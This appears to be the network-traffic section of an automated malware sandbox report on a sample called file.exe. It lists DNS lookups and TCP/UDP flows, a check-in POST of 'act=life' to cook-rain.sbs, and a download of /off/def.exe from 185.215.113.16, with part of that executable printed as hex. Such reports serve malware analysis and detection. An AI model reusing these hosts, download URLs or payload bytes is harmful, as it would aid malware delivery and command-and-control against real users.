Nov 17, 2024 12:36:02.474288940 CET	443	50091	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.474358082 CET	443	50091	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.474458933 CET	50091	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.474668026 CET	50091	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.474668026 CET	50091	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.474684954 CET	443	50091	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.474694967 CET	443	50091	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.592199087 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.592792034 CET	50092	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.592807055 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.593764067 CET	50092	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.593769073 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.724455118 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.724621058 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.724750042 CET	50092	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.724891901 CET	50092	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.724891901 CET	50092	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.724910975 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.724930048 CET	443	50092	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.814882994 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.820626020 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.835935116 CET	50094	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.835977077 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.836568117 CET	50094	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.836585045 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.841792107 CET	50093	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.841820002 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.854572058 CET	50093	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.854588032 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.964215040 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.964274883 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.964391947 CET	50094	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:02.987524986 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.987617016 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:02.987680912 CET	50093	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:03.075011969 CET	50094	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:03.075011969 CET	50094	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:03.075037003 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:03.075050116 CET	443	50094	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:03.089263916 CET	50093	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:03.089263916 CET	50093	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:36:03.089291096 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:03.089298964 CET	443	50093	13.107.246.45	192.168.2.6
Nov 17, 2024 12:36:20.825352907 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:20.825414896 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:20.825537920 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:20.826419115 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:20.826433897 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:21.946578979 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:21.946798086 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:21.948446035 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:21.948466063 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:21.948964119 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:21.951047897 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:21.951136112 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:21.951141119 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:21.951316118 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:21.995405912 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:22.200052023 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:22.201044083 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:22.201044083 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:22.201113939 CET	443	50095	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:22.201227903 CET	50095	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:37.163619041 CET	50097	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:36:37.163665056 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:37.163750887 CET	50097	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:36:37.164067984 CET	50097	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:36:37.164077997 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:38.015753031 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:38.016062975 CET	50097	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:36:38.016088009 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:38.016923904 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:38.017193079 CET	50097	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:36:38.017254114 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:38.062537909 CET	50097	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:36:38.625642061 CET	49704	80	192.168.2.6	199.232.214.172
Nov 17, 2024 12:36:38.625719070 CET	49703	443	192.168.2.6	40.126.32.133
Nov 17, 2024 12:36:38.631591082 CET	80	49704	199.232.214.172	192.168.2.6
Nov 17, 2024 12:36:38.631603956 CET	443	49703	40.126.32.133	192.168.2.6
Nov 17, 2024 12:36:38.631690979 CET	49704	80	192.168.2.6	199.232.214.172
Nov 17, 2024 12:36:38.631720066 CET	49703	443	192.168.2.6	40.126.32.133
Nov 17, 2024 12:36:41.672866106 CET	49707	443	192.168.2.6	40.126.32.133
Nov 17, 2024 12:36:41.678453922 CET	443	49707	40.126.32.133	192.168.2.6
Nov 17, 2024 12:36:41.678534985 CET	49707	443	192.168.2.6	40.126.32.133
Nov 17, 2024 12:36:48.020236969 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:48.020404100 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:48.020481110 CET	50097	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:36:49.503098965 CET	50097	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:36:49.503130913 CET	443	50097	142.250.184.228	192.168.2.6
Nov 17, 2024 12:36:50.113003969 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:50.113039017 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:50.113106966 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:50.114901066 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:50.114917040 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:51.268229008 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:51.268394947 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:51.270910978 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:51.270927906 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:51.271720886 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:51.275197983 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:51.275437117 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:51.275444031 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:51.276010036 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:51.323334932 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:51.526031971 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:51.526638031 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:51.526673079 CET	443	50098	40.113.103.199	192.168.2.6
Nov 17, 2024 12:36:51.526694059 CET	50098	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:36:51.526829958 CET	50098	443	192.168.2.6	40.113.103.199

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 12:35:03.906519890 CET	59915	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:03.946501970 CET	53	59915	1.1.1.1	192.168.2.6
Nov 17, 2024 12:35:32.682813883 CET	53	58240	1.1.1.1	192.168.2.6
Nov 17, 2024 12:35:32.698029995 CET	53	64006	1.1.1.1	192.168.2.6
Nov 17, 2024 12:35:33.944636106 CET	53	57763	1.1.1.1	192.168.2.6
Nov 17, 2024 12:35:36.417644978 CET	51869	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:36.417989969 CET	63020	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:37.111334085 CET	62769	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:37.111540079 CET	60901	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:37.118545055 CET	53	62769	1.1.1.1	192.168.2.6
Nov 17, 2024 12:35:37.118710041 CET	53	60901	1.1.1.1	192.168.2.6
Nov 17, 2024 12:35:38.579802036 CET	54378	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:38.580256939 CET	57702	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:44.316107035 CET	53	50019	1.1.1.1	192.168.2.6
Nov 17, 2024 12:35:45.533210039 CET	51773	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:45.533344030 CET	64839	53	192.168.2.6	1.1.1.1
Nov 17, 2024 12:35:51.008697033 CET	53	57121	1.1.1.1	192.168.2.6
Nov 17, 2024 12:36:10.102648020 CET	53	57802	1.1.1.1	192.168.2.6
Nov 17, 2024 12:36:32.347546101 CET	53	49964	1.1.1.1	192.168.2.6
Nov 17, 2024 12:36:32.659651041 CET	53	55409	1.1.1.1	192.168.2.6
Nov 17, 2024 12:37:00.779043913 CET	53	55109	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 17, 2024 12:35:33.761029005 CET	192.168.2.6	1.1.1.1	c2e5	(Port unreachable)	Destination Unreachable
Nov 17, 2024 12:35:53.193867922 CET	192.168.2.6	1.1.1.1	c266	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 12:35:03.906519890 CET	192.168.2.6	1.1.1.1	0xc8e0	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:36.417644978 CET	192.168.2.6	1.1.1.1	0x7f94	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:36.417989969 CET	192.168.2.6	1.1.1.1	0x4b5b	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:37.111334085 CET	192.168.2.6	1.1.1.1	0x69b9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:37.111540079 CET	192.168.2.6	1.1.1.1	0x235e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:38.579802036 CET	192.168.2.6	1.1.1.1	0x3a41	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:38.580256939 CET	192.168.2.6	1.1.1.1	0x1950	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 17, 2024 12:35:45.533210039 CET	192.168.2.6	1.1.1.1	0x27e7	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:45.533344030 CET	192.168.2.6	1.1.1.1	0xd06	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 12:35:03.946501970 CET	1.1.1.1	192.168.2.6	0xc8e0	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:03.946501970 CET	1.1.1.1	192.168.2.6	0xc8e0	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:36.423666954 CET	1.1.1.1	192.168.2.6	0xa4b4	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:36.423666954 CET	1.1.1.1	192.168.2.6	0xa4b4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:36.423666954 CET	1.1.1.1	192.168.2.6	0xa4b4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:36.423679113 CET	1.1.1.1	192.168.2.6	0xabd2	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:36.425184965 CET	1.1.1.1	192.168.2.6	0x7f94	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:36.425184965 CET	1.1.1.1	192.168.2.6	0x7f94	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:36.425184965 CET	1.1.1.1	192.168.2.6	0x7f94	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:36.425184965 CET	1.1.1.1	192.168.2.6	0x7f94	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:36.425195932 CET	1.1.1.1	192.168.2.6	0x4b5b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:36.425195932 CET	1.1.1.1	192.168.2.6	0x4b5b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:37.118545055 CET	1.1.1.1	192.168.2.6	0x69b9	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:37.118710041 CET	1.1.1.1	192.168.2.6	0x235e	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 17, 2024 12:35:37.673104048 CET	1.1.1.1	192.168.2.6	0x89f7	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:37.673104048 CET	1.1.1.1	192.168.2.6	0x89f7	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:37.673104048 CET	1.1.1.1	192.168.2.6	0x89f7	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:37.673134089 CET	1.1.1.1	192.168.2.6	0x626d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:38.586755037 CET	1.1.1.1	192.168.2.6	0x3a41	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:38.586755037 CET	1.1.1.1	192.168.2.6	0x3a41	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:38.586755037 CET	1.1.1.1	192.168.2.6	0x3a41	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:38.586755037 CET	1.1.1.1	192.168.2.6	0x3a41	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Nov 17, 2024 12:35:38.588035107 CET	1.1.1.1	192.168.2.6	0x1950	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:38.588035107 CET	1.1.1.1	192.168.2.6	0x1950	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:45.542699099 CET	1.1.1.1	192.168.2.6	0x27e7	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:45.542864084 CET	1.1.1.1	192.168.2.6	0xd06	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:49.473809004 CET	1.1.1.1	192.168.2.6	0x901	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:49.474745989 CET	1.1.1.1	192.168.2.6	0x3023	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:53.179433107 CET	1.1.1.1	192.168.2.6	0x442d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:53.193808079 CET	1.1.1.1	192.168.2.6	0xb42c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49751	185.215.113.16	80	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 12:35:18.872651100 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 17, 2024 12:35:19.800183058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 11:35:19 GMT Content-Type: application/octet-stream Content-Length: 2844672 Last-Modified: Sun, 17 Nov 2024 11:33:51 GMT Connection: keep-alive ETag: "6739d49f-2b6800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 f1 d2 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,+`Ui` @ @.rsrc`2@.idata 8@jmfuglfz ++:@ammeivev +@+@.taggant@+"F+@
Nov 17, 2024 12:35:19.800324917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:19.800398111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:19.800410032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:19.800585985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:19.800596952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:19.800609112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:19.800621033 CET	1236	IN	Data Raw: 58 40 91 14 80 a5 8e 49 f9 74 90 d1 08 be 6c 23 55 d9 72 33 16 7b 64 73 43 2e 42 52 af db d1 47 21 ac 3b b7 a9 bd 12 f3 50 f5 4c 19 9a 77 fe 52 e6 2f ae 23 22 2a 85 5f f6 7d 8b 5d e6 27 c9 44 da 42 9e 13 80 29 9a fb 13 5e b1 59 04 64 8b c4 31 0d Data Ascii: X@Itl#Ur3{dsC.BRG!;PLwR/#"_}]'DB)^Yd18ZZBS:2Fu,=AU@BQWD^kR)+`(\};`\|Na+G&{=\,E99BO?IABMYdTB3=y(QPybDJst)FgB
Nov 17, 2024 12:35:19.800633907 CET	1236	IN	Data Raw: 63 41 a8 f9 bb 41 ac 35 55 14 30 19 ff 4c a2 a2 35 54 9e 1d 88 7b 44 32 46 a9 4b 09 dc 6c 9c 14 36 54 5c 33 58 8c 60 16 4d 3b 1a 91 db 41 68 13 36 a0 a8 e1 87 68 78 27 0a e5 7d dd 33 4c 04 3a 86 4d 3c bd fe c0 94 8b db ac b3 14 76 5d 1c c1 6d 04 Data Ascii: cAA5U0L5T{D2FKl6T\3X`M;Ah6hx'}3L:M<v]m$eK,d:A4zOO]y5T2g\|I]Q!XBSd@\|T</),K$&S\4,:ASs'W%8nml{:iqTVP{(Tz4{TxX
Nov 17, 2024 12:35:19.800651073 CET	1236	IN	Data Raw: 1c 62 a1 0a 82 84 a8 46 29 89 d8 12 f1 08 93 a8 ea 3b a6 e1 2b 31 4c 6a ff 96 53 f2 0a 24 7d 77 11 49 52 e4 e9 c5 45 58 67 97 fd 45 d6 5a 5d 7a 25 2c 7c 03 fc 8b 19 f5 e5 3c 02 f5 16 9b 78 be 6d 31 74 22 e8 97 6c 0c ed f2 3b 14 74 d1 c0 c5 b8 06 Data Ascii: bF);+1LjS$}wIREXgEZ]z%,\|<xm1t"l;t>`C$.GV5[6PO(`{LrLj'U1JR< 2@(nGRsC2N2K`G!\4%#H/n@<YgAy1LvG7):(RD5el%BPq>
Nov 17, 2024 12:35:19.805211067 CET	1120	IN	Data Raw: f3 69 f1 6c cd 58 83 3d ca e4 8c 58 93 38 46 34 fa 31 92 d4 f9 58 68 41 07 52 f4 e8 fc 29 ef 23 fa 28 6a 0f 37 5d 36 86 88 25 ff d9 1a eb a4 a2 34 fe 7f 18 1d 8a b0 51 36 3a 96 08 14 9d 74 0f 04 9f 6e 16 0a 9b 69 62 b5 61 8f 84 c5 87 73 d6 15 24 Data Ascii: ilX=X8F41XhAR)#(j7]6%4Q6:tnibas$mzCC1n)z\Z#^QL'E~.zaD/?E>"PG$QyFB"L#;`mYwhg<1TBcH#A#i4n1vv*K`t_<Z

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	188.114.97.3	443	6948	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:04 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-17 11:35:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-17 11:35:05 UTC	999	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n1fesfdavb215q2mlfisbpu02d; expires=Thu, 13-Mar-2025 05:21:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DV0uNR8S5IVRRpBz%2FGnSJY72dhW0fvoHkMkhZtBgw5aTR1TGpDpJTtbTkl8B2Xic0QHL7zn7Bl57K4doK1gmtH2qzMrJV8DCihRchUrG1ZkwZb9Yhs3Aagw1g335Imku"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3f6a4f28866c7a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2042&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1437934&cwnd=251&unsent_bytes=0&cid=89e387050d0c2ff3&ts=927&x=0"
2024-11-17 11:35:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
